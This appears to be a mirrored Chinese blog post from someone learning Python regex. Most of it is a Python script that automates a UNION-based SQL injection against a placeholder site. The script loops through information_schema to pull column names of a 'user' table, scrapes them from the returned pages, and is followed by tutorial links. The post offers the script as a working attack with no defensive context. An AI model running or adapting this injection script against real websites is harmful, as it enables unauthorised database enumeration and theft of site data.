zoukankan      html  css  js  c++  java
  • sql到python正则

    import urllib.request
    import re,time
    result=[]
    for i in range(100):
        urls ="http://xxx.com/-1%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_name='user'%20limit%20"
        urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i
        url=urls+urls1
        f = urllib.request.urlopen(url)
        content = f.read().decode('utf8')
        pattern = re.compile(r'<div class="biaoti02_01">.*?<span>',re.S)
        basic_content = re.finditer(pattern,content)
        for j  in basic_content:
            init_dict={}
            j=str(j)
            d= re.search(r'<div class="biaoti02_01">(.*?)<br>',j)
            init_dict['tablename']=d.group(1)
            print(d.group(1))
            result.append(init_dict)
            
            time.sleep(0.5)
    print(result)


    运行截图爆表名

    目前正则还在学习中 打印结果丑陋

    学习资料 https://www.cnblogs.com/smxiazi/articles/9743318.html

    正则学习 https://www.runoob.com/python/python-reg-expressions.html

    python request 学习 https://blog.csdn.net/qq_37616069/article/details/80376776

    https://blog.csdn.net/wukong_666/article/details/84146738

    对象报错解决办法 https://blog.csdn.net/w926498/article/details/80579520

    切记 学习之路 少就是多慢就是快  ~

  • 相关阅读:
    filter
    列表生成式
    迭代
    切片:练习
    Python FAQ
    活在深圳
    “30岁年薪20万算不算很失败?”人民日报这样回答
    ASP.NET Core 运行原理解剖[1]:Hosting
    Kotlin 初窥门径[2]:流程控制
    Kotlin 初窥门径[1]:基础概念
  • 原文地址:https://www.cnblogs.com/-zhong/p/11388769.html
Copyright © 2011-2022 走看看